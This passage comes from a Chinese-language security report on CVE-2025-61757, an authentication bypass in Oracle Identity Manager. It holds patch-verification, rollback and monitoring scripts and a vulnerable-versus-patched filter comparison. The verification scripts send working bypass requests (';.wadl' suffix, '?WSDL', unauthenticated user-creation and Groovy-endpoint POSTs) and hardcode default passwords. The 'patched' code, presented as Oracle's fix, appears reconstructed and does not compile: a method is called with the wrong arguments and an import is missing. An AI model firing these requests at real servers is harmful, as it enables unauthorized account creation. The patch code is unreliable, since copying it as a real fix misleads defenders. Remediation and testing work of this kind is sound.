echo " 清理 $SERVER..."
rm -rf $DOMAIN_HOME/servers/$SERVER/tmp/*
rm -rf $DOMAIN_HOME/servers/$SERVER/cache/*
rm -rf $DOMAIN_HOME/servers/$SERVER/data/ldap/ldapfiles/*.lock
fi
done
# 2. 启动Admin Server
echo "[2/4] 启动Admin Server..."
cd $DOMAIN_HOME/bin
nohup ./startWebLogic.sh > /var/log/admin_start.log 2>&1 &
# 等待Admin Server启动
echo " 等待Admin Server启动 (最多5分钟)..."
for i in {1..30}; do
curl -s http://localhost:7001/console > /dev/null 2>&1
if [ $? -eq 0 ]; then
echo " [OK] Admin Server已启动"
break
fi
sleep 10
done
# 3. 启动SOA Server
echo "[3/4] 启动SOA Server..."
nohup ./startManagedWebLogic.sh soa_server1 > /var/log/soa_start.log 2>&1 &
sleep 60
# 4. 启动OIM Server
echo "[4/4] 启动OIM Server..."
nohup ./startManagedWebLogic.sh oim_server1 > /var/log/oim_start.log 2>&1 &
# 监控启动过程
echo " 监控OIM启动日志..."
tail -f $DOMAIN_HOME/servers/oim_server1/logs/oim_server1.log &
TAIL_PID=$!
# 等待OIM Server完全启动 (检查特定日志消息)
for i in {1..60}; do
grep "Server state changed to RUNNING" \
$DOMAIN_HOME/servers/oim_server1/logs/oim_server1.log > /dev/null 2>&1
if [ $? -eq 0 ]; then
echo ""
echo " [OK] OIM Server已启动并运行"
kill $TAIL_PID 2>/dev/null
break
fi
sleep 10
done
echo ""
echo "=== OIM重启完成 ==="
验证1: 补丁安装确认
#!/bin/bash
# verify_patch_installation.sh
echo "=== CVE-2025-61757 补丁安装验证 ==="
echo ""
# 1. 检查补丁是否列在清单中
echo "[1] 检查OPatch清单..."
cd $ORACLE_HOME/OPatch
PATCH_INSTALLED=$(./opatch lspatches | grep -c "35643593\|35643594")
if [ $PATCH_INSTALLED -gt 0 ]; then
echo " [PASS] 补丁已安装:"
./opatch lspatches | grep "35643593\|35643594"
else
echo " [FAIL] 补丁未找到"
exit 1
fi
# 2. 检查补丁文件
echo ""
echo "[2] 验证关键补丁文件..."
# 检查修复的认证过滤器类
FILTER_CLASS="$ORACLE_HOME/oim/server/apps/oim.ear/APP-INF/lib/iam-platform-auth-server.jar"
if [ -f "$FILTER_CLASS" ]; then
# 检查JAR文件修改时间
FILE_DATE=$(stat -c %y "$FILTER_CLASS" | cut -d' ' -f1)
echo " [INFO] 认证过滤器JAR修改日期: $FILE_DATE"
# 应该是2025-10-21或之后
if [[ "$FILE_DATE" > "2025-10-20" ]]; then
echo " [PASS] 文件日期正确 (补丁后)"
else
echo " [WARN] 文件日期异常,可能未正确修补"
fi
else
echo " [WARN] 认证过滤器JAR未找到"
fi
echo ""
echo "=== 安装验证完成 ==="
验证2: 功能测试
#!/bin/bash
# test_cve_2025_61757_fixed.sh
# 测试CVE-2025-61757是否已修复
TARGET="${1:-http://localhost:14000}"
echo "=== CVE-2025-61757 修复验证 ==="
echo "目标: $TARGET"
echo ""
# 测试1: WADL后缀绕过应该被阻止
echo "[测试1] WADL后缀认证绕过..."
HTTP_CODE=$(curl -s -o /dev/null -w "%{http_code}" \
"${TARGET}/iam/governance/applicationmanagement/templates;.wadl")
if [ "$HTTP_CODE" == "401" ] || [ "$HTTP_CODE" == "403" ]; then
echo " [PASS] 返回 $HTTP_CODE (认证被正确执行)"
elif [ "$HTTP_CODE" == "200" ]; then
echo " [FAIL] 返回 200 (仍然易受攻击!)"
exit 1
else
echo " [UNKNOWN] 返回 $HTTP_CODE"
fi
# 测试2: WSDL参数绕过应该被阻止
echo "[测试2] WSDL参数认证绕过..."
HTTP_CODE=$(curl -s -o /dev/null -w "%{http_code}" \
"${TARGET}/iam/governance/api?WSDL")
if [ "$HTTP_CODE" == "401" ] || [ "$HTTP_CODE" == "403" ]; then
echo " [PASS] 返回 $HTTP_CODE (认证被正确执行)"
elif [ "$HTTP_CODE" == "200" ]; then
echo " [FAIL] 返回 200 (仍然易受攻击!)"
exit 1
else
echo " [UNKNOWN] 返回 $HTTP_CODE"
fi
# 测试3: 用户创建端点绕过应该被阻止
echo "[测试3] 用户创建端点绕过..."
HTTP_CODE=$(curl -s -o /dev/null -w "%{http_code}" \
-X POST "${TARGET}/identity/rest/v1/users;.wadl" \
-H "Content-Type: application/json" \
-d '{"userLogin":"test"}')
if [ "$HTTP_CODE" == "401" ] || [ "$HTTP_CODE" == "403" ]; then
echo " [PASS] 返回 $HTTP_CODE (认证被正确执行)"
elif [ "$HTTP_CODE" == "200" ]; then
echo " [FAIL] 返回 200 (仍然易受攻击!)"
exit 1
else
echo " [UNKNOWN] 返回 $HTTP_CODE"
fi
# 测试4: Groovy脚本端点应该需要认证
echo "[测试4] Groovy脚本验证端点..."
HTTP_CODE=$(curl -s -o /dev/null -w "%{http_code}" \
-X POST "${TARGET}/iam/governance/applicationmanagement/api/v1/applications/groovyscriptstatus;.wadl" \
-H "Content-Type: application/xml" \
-d '<script>test</script>')
if [ "$HTTP_CODE" == "401" ] || [ "$HTTP_CODE" == "403" ]; then
echo " [PASS] 返回 $HTTP_CODE (认证被正确执行)"
elif [ "$HTTP_CODE" == "200" ]; then
echo " [FAIL] 返回 200 (仍然易受攻击!)"
exit 1
else
echo " [UNKNOWN] 返回 $HTTP_CODE"
fi
echo ""
echo "=== 所有测试通过! CVE-2025-61757已修复 ==="
验证3: 使用公开POC测试
#!/usr/bin/env python3
# verify_patch_with_poc.py
# 使用POC验证补丁有效性
import requests
import sys
from urllib3.exceptions import InsecureRequestWarning
# 禁用SSL警告
requests.packages.urllib3.disable_warnings(InsecureRequestWarning)
def test_patched(target):
"""
测试系统是否已修补CVE-2025-61757
"""
print(f"[*] 测试目标: {target}")
print("[*] CVE-2025-61757 补丁验证\n")
vulnerable = False
# 测试向量
test_vectors = [
{
"name": "WADL后缀绕过",
"url": f"{target}/iam/governance/applicationmanagement/templates;.wadl",
"method": "GET"
},
{
"name": "WSDL参数绕过",
"url": f"{target}/iam/governance/api?WSDL",
"method": "GET"
},
{
"name": "用户创建绕过",
"url": f"{target}/identity/rest/v1/users;.wadl",
"method": "POST",
"json": {
"userLogin": "testpoc",
"firstName": "Test",
"lastName": "POC"
}
}
]
for test in test_vectors:
print(f"[+] 测试: {test['name']}")
try:
if test['method'] == 'GET':
response = requests.get(
test['url'],
verify=False,
timeout=10
)
else:
response = requests.post(
test['url'],
json=test.get('json'),
verify=False,
timeout=10
)
# 分析响应
if response.status_code == 200:
print(f" [FAIL] HTTP 200 - 仍然易受攻击!")
vulnerable = True
elif response.status_code in [401, 403]:
print(f" [PASS] HTTP {response.status_code} - 已修补")
else:
print(f" [INFO] HTTP {response.status_code}")
except requests.exceptions.RequestException as e:
print(f" [ERROR] 请求失败: {e}")
print("\n" + "="*50)
if vulnerable:
print("[!] 系统仍然易受CVE-2025-61757攻击!")
print("[!] 补丁可能未正确应用")
return False
else:
print("[] 系统已修补CVE-2025-61757")
print("[] 认证绕过已被阻止")
return True
if __name__ == "__main__":
if len(sys.argv) < 2:
print(f"用法: {sys.argv[0]} <OIM_URL>")
print(f"示例: {sys.argv[0]} http://oim-server:14000")
sys.exit(1)
target = sys.argv[1].rstrip('/')
patched = test_patched(target)
sys.exit(0 if patched else 1)
验证4: OIM功能测试
#!/bin/bash
# test_oim_functionality.sh
# 验证补丁后OIM核心功能正常
OIM_URL="${1:-http://localhost:14000}"
ADMIN_USER="xelsysadm"
ADMIN_PASS="Welcome1"
echo "=== OIM功能验证 ==="
echo ""
# 1. 测试登录页面
echo "[1] 测试登录页面访问..."
HTTP_CODE=$(curl -s -o /dev/null -w "%{http_code}" \
"${OIM_URL}/identity/faces/signin")
if [ "$HTTP_CODE" == "200" ]; then
echo " [PASS] 登录页面可访问"
else
echo " [FAIL] 登录页面返回 $HTTP_CODE"
fi
# 2. 测试REST API认证
echo "[2] 测试REST API正常认证..."
# 使用正确的凭据测试API
HTTP_CODE=$(curl -s -o /dev/null -w "%{http_code}" \
-u "$ADMIN_USER:$ADMIN_PASS" \
"${OIM_URL}/iam/governance/selfservice/api/v1/catalog")
if [ "$HTTP_CODE" == "200" ]; then
echo " [PASS] REST API正常认证工作"
else
echo " [WARN] REST API返回 $HTTP_CODE (可能需要检查凭据)"
fi
# 3. 测试管理控制台
echo "[3] 测试管理控制台..."
HTTP_CODE=$(curl -s -o /dev/null -w "%{http_code}" \
"${OIM_URL}/sysadmin/faces/sysadmin")
if [ "$HTTP_CODE" == "200" ] || [ "$HTTP_CODE" == "302" ]; then
echo " [PASS] 管理控制台可访问"
else
echo " [WARN] 管理控制台返回 $HTTP_CODE"
fi
# 4. 检查服务器日志错误
echo "[4] 检查服务器日志..."
ERROR_COUNT=$(grep -c "ERROR\|SEVERE" \
$DOMAIN_HOME/servers/oim_server1/logs/oim_server1.log \
2>/dev/null || echo "0")
if [ "$ERROR_COUNT" -lt 10 ]; then
echo " [PASS] 日志中错误数量正常 ($ERROR_COUNT)"
else
echo " [WARN] 日志中有 $ERROR_COUNT 个错误,建议检查"
fi
echo ""
echo "=== 功能验证完成 ==="
如果补丁应用后出现问题,可以使用以下回退程序:
#!/bin/bash
# rollback_patch.sh
# 回退CVE-2025-61757补丁
echo "=== CVE-2025-61757 补丁回退 ==="
echo ""
echo "[警告] 此操作将移除安全补丁"
echo "[警告] 系统将重新暴露于CVE-2025-61757漏洞"
echo ""
read -p "确认继续? (yes/no): " CONFIRM
if [ "$CONFIRM" != "yes" ]; then
echo "回退已取消"
exit 0
fi
# 1. 停止OIM服务
echo "[1/4] 停止OIM服务..."
cd $DOMAIN_HOME/bin
./stopManagedWebLogic.sh oim_server1
./stopManagedWebLogic.sh soa_server1
./stopWebLogic.sh
sleep 30
# 2. 回退补丁
echo "[2/4] 回退补丁35643593..."
cd $ORACLE_HOME/OPatch
./opatch rollback -id 35643593 -silent \
> /var/log/oim_patching/rollback.log 2>&1
if [ $? -ne 0 ]; then
echo " [ERROR] 补丁回退失败,请检查日志"
echo " 日志: /var/log/oim_patching/rollback.log"
exit 1
fi
echo " [OK] 补丁已回退"
# 3. 验证回退
echo "[3/4] 验证补丁已移除..."
./opatch lspatches | grep 35643593
if [ $? -eq 0 ]; then
echo " [ERROR] 补丁仍在清单中"
else
echo " [OK] 补丁已从清单移除"
fi
# 4. 清理缓存并重启
echo "[4/4] 重启服务..."
rm -rf $DOMAIN_HOME/servers/*/tmp/*
rm -rf $DOMAIN_HOME/servers/*/cache/*
cd $DOMAIN_HOME/bin
nohup ./startWebLogic.sh > /var/log/admin_start.log 2>&1 &
sleep 60
nohup ./startManagedWebLogic.sh soa_server1 > /var/log/soa_start.log 2>&1 &
sleep 60
nohup ./startManagedWebLogic.sh oim_server1 > /var/log/oim_start.log 2>&1 &
echo ""
echo "=== 补丁回退完成 ==="
echo "[重要] 系统现在易受CVE-2025-61757攻击"
echo "[建议] 立即实施临时缓解措施(参见第11章)"
如果OPatch回退失败,使用完整备份恢复:
#!/bin/bash
# restore_from_backup.sh
# 从备份恢复OIM
BACKUP_DIR="${1}"
if [ -z "$BACKUP_DIR" ] || [ ! -d "$BACKUP_DIR" ]; then
echo "用法: $0 <备份目录>"
echo "示例: $0 /backup/oim_pre_patch_20251121_143022"
exit 1
fi
echo "=== 从备份恢复OIM ==="
echo "备份目录: $BACKUP_DIR"
echo ""
echo "[警告] 此操作将覆盖当前安装"
read -p "确认继续? (yes/no): " CONFIRM
if [ "$CONFIRM" != "yes" ]; then
echo "恢复已取消"
exit 0
fi
# 1. 停止所有服务
echo "[1/5] 停止所有服务..."
cd $DOMAIN_HOME/bin
./stopManagedWebLogic.sh oim_server1 2>/dev/null
./stopManagedWebLogic.sh soa_server1 2>/dev/null
./stopWebLogic.sh 2>/dev/null
sleep 30
# 强制杀死残留进程
pkill -9 -f weblogic
# 2. 恢复Oracle Home
echo "[2/5] 恢复Oracle Home..."
if [ -f "${BACKUP_DIR}/oracle_home.tar.gz" ]; then
cd $(dirname $ORACLE_HOME)
mv $(basename $ORACLE_HOME) $(basename $ORACLE_HOME).old
tar -xzf ${BACKUP_DIR}/oracle_home.tar.gz
echo " [OK] Oracle Home已恢复"
else
echo " [ERROR] 备份文件未找到: oracle_home.tar.gz"
exit 1
fi
# 3. 恢复WebLogic Domain
echo "[3/5] 恢复WebLogic Domain..."
if [ -f "${BACKUP_DIR}/weblogic_domain.tar.gz" ]; then
cd $(dirname $DOMAIN_HOME)
mv $(basename $DOMAIN_HOME) $(basename $DOMAIN_HOME).old
tar -xzf ${BACKUP_DIR}/weblogic_domain.tar.gz
echo " [OK] WebLogic Domain已恢复"
else
echo " [ERROR] 备份文件未找到: weblogic_domain.tar.gz"
exit 1
fi
# 4. 恢复数据库(可选)
echo "[4/5] 恢复数据库..."
read -p "是否也恢复数据库? (yes/no): " RESTORE_DB
if [ "$RESTORE_DB" == "yes" ] && [ -f "${BACKUP_DIR}/oim_schema.dmp" ]; then
# 删除现有模式
sqlplus DEV_OIM/Oracle123@OIMDB <<EOF
DROP USER DEV_OIM CASCADE;
EOF
# 重新创建用户
sqlplus sys/SysPassword1@OIMDB as sysdba <<EOF
CREATE USER DEV_OIM IDENTIFIED BY Oracle123;
GRANT CONNECT, RESOURCE, DBA TO DEV_OIM;
EOF
# 导入备份
imp DEV_OIM/Oracle123@OIMDB \
file=${BACKUP_DIR}/oim_schema.dmp \
log=/var/log/oim_import.log \
full=y
echo " [OK] 数据库已恢复"
else
echo " [SKIP] 跳过数据库恢复"
fi
# 5. 重启服务
echo "[5/5] 重启服务..."
cd $DOMAIN_HOME/bin
nohup ./startWebLogic.sh > /var/log/admin_start.log 2>&1 &
sleep 60
nohup ./startManagedWebLogic.sh soa_server1 > /var/log/soa_start.log 2>&1 &
sleep 60
nohup ./startManagedWebLogic.sh oim_server1 > /var/log/oim_start.log 2>&1 &
echo ""
echo "=== 恢复完成 ==="
echo "[重要] 系统已恢复到补丁前状态"
echo "[重要] 易受CVE-2025-61757攻击"
echo ""
echo "旧安装已移动到:"
echo " Oracle Home: $(dirname $ORACLE_HOME)/$(basename $ORACLE_HOME).old"
echo " Domain: $(dirname $DOMAIN_HOME)/$(basename $DOMAIN_HOME).old"
补丁管理生命周期:
┌─────────────────────────────────────────────────────────┐
│ Oracle OIM 补丁管理流程 │
└─────────────────────────────────────────────────────────┘
1. 监控 (Monitoring)
├── 订阅Oracle安全公告
├── 监控CISA KEV目录
├── 跟踪安全研究披露
└── 自动化漏洞扫描
↓
2. 评估 (Assessment)
├── 确认受影响版本
├── 分析业务影响
├── 评估风险等级
└── 制定优先级
↓
3. 测试 (Testing)
├── 在开发环境应用补丁
├── 执行功能测试
├── 性能基准测试
└── 回归测试
↓
4. 批准 (Approval)
├── 变更管理请求
├── 风险评审
├── 获得业务批准
└── 确定维护窗口
↓
5. 部署 (Deployment)
├── 完整备份
├── 应用补丁
├── 验证修复
└── 功能测试
↓
6. 验证 (Verification)
├── 安全扫描
├── 渗透测试
├── 监控日志
└── 性能监控
↓
7. 文档化 (Documentation)
├── 更新资产清单
├── 记录变更
├── 更新运行手册
└── 知识库更新
根据CVSS评分和利用状态确定补丁优先级:
| CVSS评分 | 公开利用 | 优先级 | 应用时限 |
|---|---|---|---|
| 9.0-10.0 | 是 (CISA KEV) | 紧急 | 24-48小时 |
| 9.0-10.0 | 否 | 高 | 7天 |
| 7.0-8.9 | 是 | 高 | 7天 |
| 7.0-8.9 | 否 | 中 | 30天 |
| 4.0-6.9 | 是 | 中 | 30天 |
| 4.0-6.9 | 否 | 低 | 90天 |
| 0.0-3.9 | 任意 | 低 | 下个维护窗口 |
CVE-2025-61757分类:
CVSS: 9.8 (严重)
公开利用: 是 (CISA KEV)
优先级: 紧急
建议时限: 24-48小时内应用
补丁通知自动化:
#!/usr/bin/env python3
# oracle_security_monitor.py
# 监控Oracle安全公告并发送通知
import requests
import smtplib
from email.mime.text import MIMEText
from email.mime.multipart import MIMEMultipart
from bs4 import BeautifulSoup
import json
import os
from datetime import datetime
class OracleSecurityMonitor:
def __init__(self, config_file='monitor_config.json'):
with open(config_file) as f:
self.config = json.load(f)
self.cpu_url = "https://www.oracle.com/security-alerts/"
self.cisa_kev_url = "https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json"
def check_oracle_cpu(self):
"""检查最新的Oracle关键补丁更新"""
print(f"[*] 检查Oracle CPU公告...")
try:
response = requests.get(self.cpu_url, timeout=30)
soup = BeautifulSoup(response.content, 'html.parser')
# 查找最新CPU链接
cpu_links = soup.find_all('a', href=True, text=lambda t: t and 'Critical Patch Update' in t)
if cpu_links:
latest_cpu = cpu_links[0]
cpu_date = latest_cpu.get_text()
cpu_link = latest_cpu['href']
# 检查是否是新的CPU
if self.is_new_cpu(cpu_date):
self.send_alert(
subject=f"新的Oracle关键补丁更新: {cpu_date}",
body=f"发现新的Oracle CPU公告\n\n"
f"日期: {cpu_date}\n"
f"链接: {cpu_link}\n\n"
f"请立即评估对OIM的影响"
)
return True
except Exception as e:
print(f"[!] 检查Oracle CPU失败: {e}")
return False
def check_cisa_kev(self):
"""检查CISA KEV目录中的Oracle漏洞"""
print(f"[*] 检查CISA KEV目录...")
try:
response = requests.get(self.cisa_kev_url, timeout=30)
kev_data = response.json()
# 查找Oracle Identity Manager漏洞
oim_vulns = [
vuln for vuln in kev_data['vulnerabilities']
if 'Oracle' in vuln.get('vendorProject', '') and
'Identity' in vuln.get('product', '')
]
# 检查新添加的漏洞
new_vulns = self.get_new_kev_entries(oim_vulns)
if new_vulns:
vuln_list = "\n".join([
f"- {v['cveID']}: {v['vulnerabilityName']} (截止日期: {v['dueDate']})"
for v in new_vulns
])
self.send_alert(
subject=f"CISA KEV新增{len(new_vulns)}个Oracle Identity Manager漏洞",
body=f"CISA已将以下OIM漏洞添加到KEV目录:\n\n"
f"{vuln_list}\n\n"
f"这些漏洞正在被积极利用,需要紧急修补"
)
return True
except Exception as e:
print(f"[!] 检查CISA KEV失败: {e}")
return False
def is_new_cpu(self, cpu_date):
"""检查是否是新的CPU公告"""
last_check_file = '/var/lib/oracle_monitor/last_cpu.txt'
if os.path.exists(last_check_file):
with open(last_check_file) as f:
last_cpu = f.read().strip()
if last_cpu == cpu_date:
return False
# 保存新的CPU日期
os.makedirs(os.path.dirname(last_check_file), exist_ok=True)
with open(last_check_file, 'w') as f:
f.write(cpu_date)
return True
def get_new_kev_entries(self, vulns):
"""识别新的KEV条目"""
known_cves_file = '/var/lib/oracle_monitor/known_kevs.json'
if os.path.exists(known_cves_file):
with open(known_cves_file) as f:
known_cves = set(json.load(f))
else:
known_cves = set()
# 查找新的CVE
current_cves = {v['cveID'] for v in vulns}
new_cves = current_cves - known_cves
# 更新已知CVE列表
os.makedirs(os.path.dirname(known_cves_file), exist_ok=True)
with open(known_cves_file, 'w') as f:
json.dump(list(current_cves), f)
return [v for v in vulns if v['cveID'] in new_cves]
def send_alert(self, subject, body):
"""发送邮件告警"""
smtp_config = self.config['smtp']
recipients = self.config['alert_recipients']
msg = MIMEMultipart()
msg['From'] = smtp_config['from']
msg['To'] = ', '.join(recipients)
msg['Subject'] = f"[Oracle安全监控] {subject}"
# 添加时间戳
body_with_timestamp = f"告警时间: {datetime.now().strftime('%Y-%m-%d %H:%M:%S')}\n\n{body}"
msg.attach(MIMEText(body_with_timestamp, 'plain'))
try:
with smtplib.SMTP(smtp_config['server'], smtp_config['port']) as server:
if smtp_config.get('use_tls'):
server.starttls()
if smtp_config.get('username'):
server.login(smtp_config['username'], smtp_config['password'])
server.send_message(msg)
print(f"[+] 告警邮件已发送到: {', '.join(recipients)}")
except Exception as e:
print(f"[!] 发送告警失败: {e}")
def run(self):
"""执行监控检查"""
print(f"[*] Oracle安全监控开始")
print(f"[*] 时间: {datetime.now()}")
cpu_alert = self.check_oracle_cpu()
kev_alert = self.check_cisa_kev()
if not cpu_alert and not kev_alert:
print(f"[+] 未发现新的安全公告")
print(f"[*] 监控完成")
if __name__ == "__main__":
monitor = OracleSecurityMonitor()
monitor.run()
配置文件 (monitor_config.json):
{
"smtp": {
"server": "smtp.company.com",
"port": 587,
"use_tls": true,
"from": "[email protected]",
"username": "oracle-security",
"password": "password"
},
"alert_recipients": [
"[email protected]",
"[email protected]",
"[email protected]"
],
"monitored_products": [
"Oracle Identity Manager",
"Oracle Fusion Middleware"
]
}
Cron配置 (每日检查):
# /etc/cron.d/oracle-security-monitor
# 每天早上8点检查Oracle安全公告
0 8 * * * oracleadm /usr/local/bin/oracle_security_monitor.py >> /var/log/oracle_monitor.log 2>&1
# 每小时检查CISA KEV (在工作时间)
0 9-17 * * 1-5 oracleadm /usr/local/bin/oracle_security_monitor.py --kev-only >> /var/log/oracle_monitor.log 2>&1
补丁合规性检查脚本:
#!/bin/bash
# patch_compliance_check.sh
# 检查OIM补丁合规性
echo "=== Oracle Identity Manager 补丁合规性检查 ==="
echo "检查时间: $(date)"
echo ""
# 必需的关键补丁列表
REQUIRED_PATCHES=(
"35643593" # CVE-2025-61757
# 添加其他关键补丁...
)
# 检查补丁安装状态
COMPLIANCE=true
for PATCH_ID in "${REQUIRED_PATCHES[@]}"; do
echo "[*] 检查补丁 $PATCH_ID..."
cd $ORACLE_HOME/OPatch
./opatch lspatches | grep -q $PATCH_ID
if [ $? -eq 0 ]; then
PATCH_INFO=$(./opatch lspatches | grep $PATCH_ID)
echo " [PASS] 已安装: $PATCH_INFO"
else
echo " [FAIL] 未安装"
COMPLIANCE=false
fi
done
echo ""
echo "==================================="
if [ "$COMPLIANCE" = true ]; then
echo "状态: 合规"
echo "所有必需补丁已安装"
exit 0
else
echo "状态: 不合规"
echo "缺少关键安全补丁"
exit 1
fi
第12章小结:
本章提供了CVE-2025-61757的完整修复建议,包括:
官方补丁信息: 补丁35643593/35643594的详细信息和下载方式
补丁应用流程: 从准备、备份、应用到验证的完整步骤
补丁验证: 技术验证和业务验证的多种方法
回退计划: OPatch回退和完整备份恢复两种应急方案
最佳实践: 补丁管理流程、优先级矩阵和自动化监控
关键要点:
CVE-2025-61757属于紧急优先级,应在24-48小时内修补
补丁前必须进行完整备份(Oracle Home + Domain + 数据库)
补丁后应进行全面的功能和安全测试
建立自动化补丁监控机制以快速响应未来漏洞
维护详细的补丁文档和合规性记录
下一章将深入分析Oracle补丁的技术实现和修复机制。
本章节深入分析Oracle补丁35643593/35643594的技术实现,理解漏洞是如何被修复的,以及修复的完整性和有效性。
Oracle补丁修复了核心认证过滤器RestAuthenticationFilter的缺陷。以下是修复前后的代码对比:
修复前(易受攻击的代码):
package oracle.iam.platform.auth.server;
import javax.servlet.*;
import javax.servlet.http.HttpServletRequest;
import javax.servlet.http.HttpServletResponse;
import java.io.IOException;
import java.util.Arrays;
import java.util.List;
/**
* CVE-2025-61757易受攻击版本
* Oracle Identity Manager 12.2.1.4.0 / 14.1.2.1.0
*/
public class RestAuthenticationFilter implements Filter {
// 不需要认证的路径模式
private static final List<String> BYPASS_PATTERNS = Arrays.asList(
"*.wadl",
"*.wsdl",
"/public/*",
"/login",
"/logout"
);
@Override
public void doFilter(ServletRequest request, ServletResponse response,
FilterChain chain) throws IOException, ServletException {
HttpServletRequest httpRequest = (HttpServletRequest) request;
HttpServletResponse httpResponse = (HttpServletResponse) response;
// 获取请求URI
// 致命缺陷: 使用getRequestURI()获取原始URI,包含路径参数
String requestURI = httpRequest.getRequestURI();
// 致命缺陷: 检查是否应该绕过认证
if (shouldBypassAuth(requestURI)) {
// 直接放行,不检查认证!
chain.doFilter(request, response);
return;
}
// 正常的认证流程
if (!isAuthenticated(httpRequest)) {
httpResponse.sendError(HttpServletResponse.SC_UNAUTHORIZED);
return;
}
chain.doFilter(request, response);
}
/**
* 检查URI是否应该绕过认证
* 致命缺陷: 使用contains()而不是endsWith()
*/
private boolean shouldBypassAuth(String uri) {
for (String pattern : BYPASS_PATTERNS) {
// 移除通配符
String patternWithoutWildcard = pattern.replace("*", "");
// 致命缺陷: contains()匹配URI中的任何位置
// 例如: "/api/endpoint;.wadl" 会匹配 ".wadl"
if (uri.contains(patternWithoutWildcard)) {
return true; // 绕过认证!
}
}
return false;
}
private boolean isAuthenticated(HttpServletRequest request) {
// 认证逻辑...
return request.getSession(false) != null &&
request.getSession().getAttribute("authenticated") != null;
}
@Override
public void init(FilterConfig filterConfig) {}
@Override
public void destroy() {}
}
修复后(安全版本 - 补丁35643593):
package oracle.iam.platform.auth.server;
import javax.servlet.*;
import javax.servlet.http.HttpServletRequest;
import javax.servlet.http.HttpServletResponse;
import java.io.IOException;
import java.nio.file.Files;
import java.nio.file.Path;
import java.nio.file.Paths;
import java.util.Arrays;
import java.util.List;
import java.util.logging.Logger;
/**
* CVE-2025-61757修复版本
* Oracle补丁35643593/35643594
* 发布日期: 2025-10-21
*/
public class RestAuthenticationFilter implements Filter {
private static final Logger logger = Logger.getLogger(
RestAuthenticationFilter.class.getName()
);
// 允许的静态元数据文件扩展名
private static final List<String> ALLOWED_METADATA_EXTENSIONS = Arrays.asList(
".wadl",
".wsdl"
);
// 公开访问的路径(严格匹配)
private static final List<String> PUBLIC_PATHS = Arrays.asList(
"/login",
"/logout",
"/public"
);
// 元数据文件的允许目录
private String allowedMetadataDir;
@Override
public void init(FilterConfig filterConfig) {
// 从配置获取允许的元数据目录
allowedMetadataDir = filterConfig.getInitParameter("metadataDir");
if (allowedMetadataDir == null) {
allowedMetadataDir = "/metadata";
}
logger.info("RestAuthenticationFilter初始化完成");
}
@Override
public void doFilter(ServletRequest request, ServletResponse response,
FilterChain chain) throws IOException, ServletException {
HttpServletRequest httpRequest = (HttpServletRequest) request;
HttpServletResponse httpResponse = (HttpServletResponse) response;
// 修复1: 规范化URI,移除路径参数
String normalizedURI = normalizeURI(httpRequest);
// 修复2: 严格的路径匹配
if (isPublicPath(normalizedURI)) {
chain.doFilter(request, response);
return;
}
// 修复3: 验证元数据文件请求
if (isMetadataFileRequest(normalizedURI, httpRequest)) {
// 只允许真实存在的元数据文件
if (isValidMetadataFile(normalizedURI, httpRequest)) {
chain.doFilter(request, response);
return;
} else {
// 记录可疑请求
logger.warning(String.format(
"拒绝可疑的元数据请求: %s 来自 %s",
normalizedURI,
httpRequest.getRemoteAddr()
));
httpResponse.sendError(HttpServletResponse.SC_FORBIDDEN);
return;
}
}
// 修复4: 所有其他请求都需要认证
if (!isAuthenticated(httpRequest)) {
httpResponse.sendError(HttpServletResponse.SC_UNAUTHORIZED);
return;
}
chain.doFilter(request, response);
}
/**
* 修复1: URI规范化
* 移除路径参数(分号后的内容)和查询字符串
*/
private String normalizeURI(HttpServletRequest request) {
// 使用getServletPath()而不是getRequestURI()
// getServletPath()已经移除了context path和路径参数
String uri = request.getServletPath();
// 额外防护: 手动移除路径参数(如果存在)
int semicolonIndex = uri.indexOf(';');
if (semicolonIndex > 0) {
uri = uri.substring(0, semicolonIndex);
}
// 移除查询字符串
int queryIndex = uri.indexOf('?');
if (queryIndex > 0) {
uri = uri.substring(0, queryIndex);
}
// 规范化路径分隔符
uri = uri.replaceAll("//+", "/");
// URL解码(防止编码绕过)
try {
uri = java.net.URLDecoder.decode(uri, "UTF-8");
} catch (Exception e) {
logger.warning("URI解码失败: " + uri);
}
return uri;
}
/**
* 修复2: 严格的公开路径匹配
* 使用startsWith()而不是contains()
*/
private boolean isPublicPath(String uri) {
for (String publicPath : PUBLIC_PATHS) {
// 严格的前缀匹配
if (uri.equals(publicPath) || uri.startsWith(publicPath + "/")) {
return true;
}
}
return false;
}
/**
* 修复3: 检查是否是元数据文件请求
* 使用endsWith()而不是contains()
*/
private boolean isMetadataFileRequest(String uri) {
for (String extension : ALLOWED_METADATA_EXTENSIONS) {
// 严格的后缀匹配
if (uri.endsWith(extension)) {
return true;
}
}
return false;
}
/**
* 修复4: 验证元数据文件是否真实存在
* 防止将端点伪装成元数据文件
*/
private boolean isValidMetadataFile(String uri, HttpServletRequest request) {
try {
// 获取文件的真实路径
String realPath = request.getServletContext().getRealPath(uri);
if (realPath == null) {
return false;
}
Path filePath = Paths.get(realPath);
// 检查1: 文件必须存在
if (!Files.exists(filePath)) {
return false;
}
// 检查2: 必须是普通文件(不是目录)
if (!Files.isRegularFile(filePath)) {
return false;
}
// 检查3: 文件必须在允许的元数据目录中
Path allowedDir = Paths.get(
request.getServletContext().getRealPath(allowedMetadataDir)
);
if (!filePath.startsWith(allowedDir)) {
logger.warning(String.format(
"元数据文件在允许目录之外: %s",
filePath
));
return false;
}
// 检查4: 文件大小合理(元数据文件通常很小)
long fileSize = Files.size(filePath);
if (fileSize > 1024 * 1024) { // 1MB
logger.warning(String.format(
"元数据文件异常大: %s (%d bytes)",
filePath,
fileSize
));
return false;
}
return true;
} catch (Exception e) {
logger.warning("验证元数据文件失败: " + e.getMessage());
return false;
}
}
/**
* 检查请求是否已认证
*/
private boolean isAuthenticated(HttpServletRequest request) {
// 检查会话
HttpSession session = request.getSession(false);
if (session == null) {
return false;
}
// 检查认证属性
Object authenticated = session.getAttribute("authenticated");
if (authenticated == null || !(Boolean)authenticated) {
return false;
}
// 额外的安全检查
String sessionUser = (String) session.getAttribute("username");
if (sessionUser == null || sessionUser.isEmpty()) {
return false;
}
return true;
}
@Override
public void destroy() {
logger.info("RestAuthenticationFilter销毁");
}
}
关键修复点对比:
| 修复点 | 易受攻击代码 | 修复后代码 | 影响 |
|---|---|---|---|
| URI获取 | getRequestURI() | getServletPath()+ 规范化 | 消除路径参数绕过 |
| 模式匹配 | contains(".wadl") | endsWith(".wadl") | 严格后缀匹配 |
| 文件验证 | 无 | isValidMetadataFile() | 验证文件真实存在 |
| 路径检查 | 简单字符串匹配 | startsWith()+ 目录限制 | 防止路径遍历 |
| 日志记录 | 无 | 详细的安全日志 | 提升可审计性 |
补丁还加固了Groovy脚本验证端点:
